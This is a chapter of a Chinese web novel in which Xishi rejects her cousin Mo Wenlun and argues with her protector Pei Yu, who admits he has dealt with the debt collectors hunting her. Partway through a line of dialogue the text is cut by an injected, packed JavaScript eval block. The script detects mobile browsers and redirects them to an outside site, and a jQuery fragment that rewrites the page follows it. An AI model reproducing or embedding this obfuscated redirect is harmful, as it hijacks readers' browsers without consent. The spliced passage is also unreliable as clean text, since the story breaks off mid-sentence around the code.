雷声沉闷,细细蒙蒙的雨往下坠。
晞时的脑袋变得潮湿,几缕细短的发丝立起来,卷成一些小圈,她也环起两条胳膊,带出毫不遮蔽的防备。
“说话,你来做什么?如何找到这的?”
来人不过十六七岁,穿一件襕衫,戴着儒巾,手中提着个食盒,身形萧萧,不敢看晞时的脸,只能垂着视线看翻飞的衣袂。
“表姐,”等了半晌,他终于开口,手中那食盒仿佛千斤重,拖着他的肩骨往下塌陷,“对不住,我归家才知此事,一路跟好些人打听,耽误了几日,还好寻到了你。”
姜沛年轻时产下一对龙凤胎,少年正是其子莫文纶。
因聪敏过人,通过院试考中了秀才,由晞时的姑父莫嘉里四下托关系送进了县学,如今是华阳县县学的生员。
彼时喜讯由书信传至京师,晞时曾为他高兴,为她的第二个家高兴。
说起来,自打她重踏蜀都这片土地,今日是头一回见表弟。
他又高了不少,面容早已褪去青涩稚嫩。
她倒是想牵出一抹笑,可早已对姜沛心灰意冷,如何还能对莫文纶笑得出来?
晞时倏而冷道:“对不住?你若在心里还认我这个表姐,那就不要再出现在我眼前,我与你们家已经没有任何关系了。”
她心知姜沛将她卖了抵债这事,莫文纶当真不知情。
可她也明白,他们才是血脉相系的一家人。
她早已被姜沛剥离出来,又或说是因这件事让她明白自己从未融进去过。
是以,并不妨碍她对莫文纶冷语相向。
莫文纶果真像被扎了一下,猛然抬起头望向她,那双眼睛里饱含自责,带着不可置信,“表姐,我们是一家人,娘是犯了错,我替她向你赔罪,这么多年,我和文椿都很想你。”
说到此节,莫文纶打开那食盒,露出里头那些还算精致的桃花糕,“你看,这是你最喜欢吃的,表姐,你同我回去,行不行?”
他十个指头自宽袖里露出来,晞时瞥清他右手食指上一记陈年旧疤。
她想到幼时偷尝蜜罐里的糖霜,被姜沛追着满院子教训,那时候正是他站出来替她遮挡,不慎被撞翻在地,手便被一块尖石划了道长长的口子。
晞时目光里隐隐浮着一丝动容,很快又压下去,讽笑道:
“回家?那是你的家,不是我的家,你娘卖了我,你叫我跟你走,是想让我被她再卖上第二回?这回是那几个青皮子,下一回呢?被卖进窑子里?还是卖给一户人家为妾,好多换些银子抵她的债?你叫我回去,自己却时常在县学里待着,留我在家中与她互相仇视,你当我是傻的不成?”
莫文纶又被质问得垂下脑袋,明白晞时所言在理,一时未曾答话。
“你就当我死了。”晞时出了门,反手将门阖上,撑伞往巷口走,“她卖了我一次,加上从前我寄回家的银子,与之抵过,就当我偿还了她对我的养恩,回去吧。”
莫文纶固执追上她,伸手攫紧她半截衣袖,眼圈像是红了,“表姐!”
雨势渐大,少年来时不曾带伞,雨滴游过他稍显苍白的脸庞,坠进那件襕衫里,凉得身影也跟着轻颤。
晞时停步,缓缓闭了闭眼,到底松动些,虽替莫文纶遮雨,语气却仍疏离,“你来找我,文椿可知晓?你娘呢?”
莫文纶苦闷摇了摇头。
他七日前归家,见家中被翻得如同进贼一般,心中悚然,又四处寻不见娘,心急起来便要去报官。
半路却被邻居启声截停,他这才知晓实情。
他在县学苦读,半月归家一次,妹妹文椿同人在外头开了间香铺,平日也宿在铺子里,不想娘竟趁此档口沾染上了赌。
爹是年关那时候走的,三月初,娘便时常出入赌坊,与邻里说得好听,是在赌坊后厨烧火,实则将家中积蓄尽数输了进去,为了赢回来,便日日往赌坊跑。
堆积到这时候,已欠下一笔巨债。
这几月他与妹妹回家没发觉什么苗头,是因娘明里暗里管邻居借银子,邻居避如蛇蝎,自然不肯多管闲事。
反倒是表姐回来,第二日清早被娘以三两银子抵出去,表姐的哭求惊动了他们这些邻居,见他要去报官,想着他到底是个秀才,恐他不知实情闹出祸端,这才将一切告知于他。
他也才知,表姐逃了,隔日那些青皮又找上门,将娘给带走了。
莫文纶目中含悔,嗓音又低又涩,“那些人将娘抓去,我悄悄使了些钱托乞丐去打听,才知他们只是将娘捆着,大约在等我或是妹妹去赎,我想娘暂且无碍,也不想妹妹知晓此事忧心,便紧着先寻你,昨夜就晓得你的落脚处了,只是怕你连我也恨上,临近了,又不敢轻易来见你。”
话落,他浓眉紧攒着,渐渐松了手,愈发无力,想再说些什么,最终却只吐出一句,“表姐,对不住。”
雨拍打在伞檐,有些雨珠顺着伞骨延绵,钻进晞时的袖管子里,她浑不在意挥着胳膊甩一甩,闻听姜沛被捉走,倒也没太意外,“弄成这样,都是她自找的,别指望我听了心软。”
“文椿心善单纯,不知情也好。”
“赌坊的人也是赌徒心思,不榨干价值,是不会对你娘如何的,她究竟是被荷官做了局,还是果真倒霉,你打小就聪慧,自有大把时间去分辨。”
“回去,以后再别来寻我。”晞时点到为止,依旧是漠然神情,将另一把油纸伞塞进莫文纶怀里。
往前走两步,窥他消瘦身形,她的目光又落在那食盒上,“我早不爱吃这个了,你带回去。”
莫文纶仍不死心,还要再跟上,晞时颇为烦躁,泼口要说几句重话赶他走,余光却瞥见裴聿自巷口转进来。
于是她牵出一抹明媚的笑,捉裙跑向裴聿身前,举着手中那把油纸伞替他挡雨。
她那张俏脸猛然仰起来凑近他,嗓音里喧出示好之意,“少爷回来啦?我特意出来接呢,哎唷,衣裳淋湿了,快回去换一身。”
莫文纶把眼轻瞪,他是打听到表姐被人救下,却不想是这么一个人。
县学多有富家子弟,他斡旋已久,凭着这点本能的直觉就揣测出眼前这男人并不简单,愈发放不下心,匆匆上前两步,又喊了声,“表姐!你同我回去!”
晞时正是要借一借裴聿的势,干脆再紧靠裴聿一点。
二人共撑一伞,她活脱真像个丫鬟,竭力将伞往他脑袋顶上举,口中不以为意道:
“别说了,这是我的新主子,我的身契在他手里,我也乐意给他当丫鬟,除非我自愿,否则你便是闹去衙门也讨不着好,你既还叫我表姐,我便好心再劝你一句,先管好自家那点事吧。”
旋即不再看莫文纶大受震惊的眼神,悄么声息伸手在裴聿背后轻点,抬脸对上他如一汪静湖的眼睛,暗里央求他再帮一回自己。
裴聿被她扑来的一阵气息裹挟住,本能要让一让,后腰却被她柔软的指尖轻轻抵住,令他后背窜出一阵诡异的酥麻。
他的目光在二人之间来回睃巡一瞬,又受着她轻眨递来的眼神,到底没开口,沉默迈步往前走,无视了以防备神情盯着自己的少年。
晞时匆匆跟上,同莫文纶擦着肩过,低声丢下一句,“别再来了。”
转而跟随裴聿进了宅子。
外头雨声杂糅着闷雷,晞时静站在门后,待听见莫文纶那不甚清晰的脚步声渐响,这才长舒一口气。
紧接着一转身,险些撞上青年硬挺的胸膛。
晞时吓一跳,往后退半步,抿了抿下唇,正要说话,却见裴聿靠过来,缓缓俯身与她平视,眼色有几分凌厉,隐含警告:“我不喜欢被人利用。”
她躲闪着眼,指头抠着伞骨边缘,“我急着摆脱他嘛,没想利用你的。”
半晌未听见裴聿说话,晞时已习惯他的寡言,明白他这是一种默许。
她眼珠子轱辘转了转,错身绕开他,嘴上跟着开口,“你今日倒回来得晚呢,我下晌蒸了点红枣糕,我去热一热,再煮碗驱寒姜汤。”
继而肩头短暂与他的胳膊撞上,欲往厨屋去。
大约是没了要应付莫文纶的心思,这一瞬的功夫便叫她嗅到一缕血腥气。
晞时转过脸,语气稍显诧异,“你受伤了?”
他那样狠厉的身手,还有谁能伤着他?
倘或他有什么不测,她二百两银子岂非凭白没了!
如此一检算,晞时连眼神都真切不少,仔仔细细搜寻他的伤口在哪。
“你若受伤了就要说呀!伤着哪里了?严不严重?用不用请个大夫来?”
裴聿由她来回在自己身上瞧着,目光悬在她不断磨动的两片唇肉上,鬼使神差间,竟觉得好笑,倏起了些逗弄之心,“你觉得我会受伤?”
“哎唷,你这人自大得很,难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125140|196030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保不会呢,”晞时掀眼剜他,复又低下头去寻,“有句话怎么说来着?千里马亦有失蹄时,说不准你也有什么仇家,只照着你来杀,你单单一个人,双拳难以敌众,是不是?”
她这时候竟还敢试探?
果真又惜命又胆小,还贪财。
裴聿再也忍不住,哼出一声笑,自顾闪身躲开,“我没受伤,仇人倒是有。”
于是晞时见他解下腰间那把剑,“咣当”一声扔在身侧的竹编椅上,拽下面巾,淡然与她道:“你的担心倒成了真,那几人找上门了。”
晞时呆怔数息,骇然道:“你是说先前那些追我的青皮们?他们都找上你了?”
话语甫一问出,她猛然回过神,心中咯噔两声,追问,“你对他们做了什么?”
“解决了。”
“什么叫都解决了?!”
裴聿怪异偏头瞧了她一眼,“我不杀他们,那便是他们杀我,紧接着,下一个是你。”
晞时被这番话震得骇目圆睁,好半晌都没能开口。
良久,她才低喃道:“你这般行事,就不怕衙门找上门?”
回答她的只有一声嗤笑,倒令她一时惊醒。
蜀都府正值内乱,听闻不太平的开端是因官中内讧,如此一来,市井冒出太多粗蛮团伙,白日还算一片祥和,到了夜里,即使她没出去,也能隐约听见些追逐砸闹之声。
既如此,那些能替赌坊收债的青皮,大多也没个亲戚,说不准,真就是死了也没人去多管闲事报官。
晞时不知该说什么,只觉一颗心上蹿下跳,始终平缓不下来。
正发着呆,忽听裴聿开口问,“方才那位?”
她匆忙敛神,含混道:“以前的亲戚。”
“你被那些人追,也是亲戚所为,二者之间有什么关系?”
“......没什么关系。”
“此事他也知情?”
晞时轻攒眉宇,正要反问他一句因何突然好奇这些,却在抬头对上他过于沉静的目光后猛地琢磨出味,“你想做什么?”
“做事,就要不留任何痕迹,”裴聿淡然开口:“我替你解决?”
晞时倒吸一口冷气,这会是真有些语塞,俄延半日才找回自己的声音,“天老爷,你当这蜀都府的官爷当真是眼睛长在脑袋顶上的吗?这人岂是随你想、想杀就杀的?”
谁知裴聿瞥她一眼,“谁说我要杀了他?”
“你不是急着摆脱他?将他弄走即可。”
晞时一口气险些没喘上来,那阵恐慌萦绕在心头久未散,她一连迭拍着胸脯,难免抬眼瞪他,“少爷!你下回说话能不能说得仔细些!我魂都给你吓没了!”
这声少爷唤得裴聿轻轻拧眉,仿佛是不喜,微抿着唇没搭腔,冷下脸来,连唇间那银环都好似泛着刺骨的冰。
晞时眼风四转,小声道:“他是我表弟,是个秀才呢,还算明事理,我想他应是不会胡乱去说什么,这事先揭过吧。”
恐裴聿那句不是玩笑话,她嗓音倏放得很软,“好不好?”
莫文纶到底没做错事,这连坐的代价也太大了点。
扫量她还隐约惊诧的神情,裴聿忽道:“你既不喜甜,想必今日宜食辛辣。”
“不算在那七次里。”
旋即兀自转背,裹挟着满身的潮湿气息进了厨屋。
算是变相妥协了。
说来也巧,墙根下一口大缸里的鱼像是能听懂人话,在他话音落下后猛地扑腾水面,扑哧扑哧,拍打得晞时一颗心起起落落,愣神把眼挪向那头,追寻他的背影而去。
随后,厨屋卷出一阵柴火气,裴聿在生火做饭。
他都听见了。
听见了她同莫文纶说自己不爱吃那点心。
他早就知晓莫文纶是她表弟,却问她要不要解决掉莫文纶,是何意?
左思右想,终于意识到裴聿在以“解决莫文纶被她阻拦又央求一事”换取“食辛辣”的次数,晞时始终跌宕的心终于平缓下来。
随即无端端蹿出火苗,暗瞪厨屋的方向一眼,这一眼,怒气冲冲,好似在控诉他故意吓唬她,又隐含一点荒谬。
这是他的屋子,即便他想加一两次,她又能说出一个“不”字?
静静在原地站了半晌,晞时对此行径表示哑口无言,莫名就好笑地哼了一声。
这人,约莫不大正常。